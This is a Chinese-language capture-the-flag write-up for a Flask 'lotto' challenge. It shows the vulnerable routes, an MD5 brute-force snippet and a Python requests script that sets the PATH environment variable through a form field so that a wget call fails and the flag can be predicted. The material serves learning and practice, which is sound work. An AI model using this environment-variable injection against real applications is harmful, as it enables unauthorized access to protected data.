知识点:改变环境变量绕过wget
md5爆破
import hashlib
for i in range(1000000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if a[0:6] == '0c5fbf':
print(i)
print(a)
关键是三个路由。
result路由,返回一个他给定的值,也就是我们要预测的值。
@app.route("/result", methods=['GET'])
def result():
if os.path.exists("/app/lotto_result.txt"):
lotto_result = open("/app/lotto_result.txt", 'rb').read().decode()
else:
lotto_result = ''
return render_template('result.html', message=lotto_result)
forecast路由,主要是用来上传文件。
@app.route("/forecast", methods=['GET', 'POST'])#上传文件的路由
def forecast():
message = ''
if request.method == 'GET':
return render_template('forecast.html')
elif request.method == 'POST':
if 'file' not in request.files:
message = 'Where is your forecast?'
file = request.files['file']
file.save('/app/guess/forecast.txt')
message = "OK, I get your forecast. Let's Lotto!"
return render_template('forecast.html', message=message)
lotto路由,这个是我们可以获得flag的地方,当我们预测的值和本次给定的值相同时就会返回flag。
@app.route("/lotto", methods=['GET', 'POST'])
def lotto():
message = ''
if request.method == 'GET':#如果传参是GET则转到lotto页面
return render_template('lotto.html')
elif request.method == 'POST':#如果传参是post则继续执行
flag = os.getenv('flag')#获取环境变量的值,若无则返会none,若存在则返回键值
lotto_key = request.form.get('lotto_key') or ''
lotto_value = request.form.get('lotto_value') or ''#获取表单值
try:
lotto_key = lotto_key.upper()#将小写字母转换为大写
except Exception as e:
print(e)
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
if os.path.exists("/app/lotto_result.txt"):#判断文件是否存在
lotto_result = open("/app/lotto_result.txt", 'rb').read()#打开并读取
else:
lotto_result = 'result'#若文件不存在则直接赋result
if os.path.exists("/app/guess/forecast.txt"):#本地上传文件
forecast = open("/app/guess/forecast.txt", 'rb').read()
else:
forecast = 'forecast'
if forecast == lotto_result:#如果我们预测的内容和内网的lotto_result.txt内容相同则返回flag
return flag
else:
message = 'Sorry forecast failed, maybe lucky next time!'
return render_template('lotto.html', message=message)
except Exception as e:
message = 'Lotto Error!'
return render_template('lotto.html', message=message)
else:
message = 'NO NO NO, JUST LOTTO!'
return render_template('lotto.html', message=message)
步骤分三步:
1. 先访问lotto页面。
2. 再访问result页面,获得他给定的值。
3. 修改环境变量为PATH,再次访问lotto页面。
分析:
前两步是获取当前的值,但是下一次值就会改变,这样就无法拿到flag了,那我们怎么来控制使得值不变或者改变这个值呢?
第三步的作用就是可以控制内网的随机值。
原因:
可以看到我们可以控制环境变量名和值。
if safe_check(lotto_key):
os.environ[lotto_key] = lotto_value
try:
#从内网lotto当中获得随机值
os.system('wget --content-disposition -N lotto')
PATH
变量就是用于保存可以搜索的目录路径,如果待运行的程序不在当前目录,操作系统便可以去依次搜索PATH
变量变量中记录的目录,如果在这些目录中找到待运行的程序,操作系统便可以直接运行,前提是要有执行权限。
也就是说我们控制了环境变量PATH
,这样他就找不到wget命令,那么wget --content-disposition -N lotto就会报错导致程序终止,/app/lotto_result.txt
当中的内容就一直是第一次访问,随机生成的那个值了。
import requests
url = "http://127.0.0.1:8880/"
def lotto(key,value):
data = {"lotto_key": key,
"lotto_value": value}
txt=requests.post(url + "lotto",data=data).text
print(txt)
def getResult():
txt=requests.get(url+"result").text
p=txt.split("<p>")[-1].split("</p>")[0]
print(p)
return p
lotto("","")
result= {"file":getResult()}#获取预测值
requests.post(url + "forecast",files=result)#上传预测值
lotto("PATH","xxxx")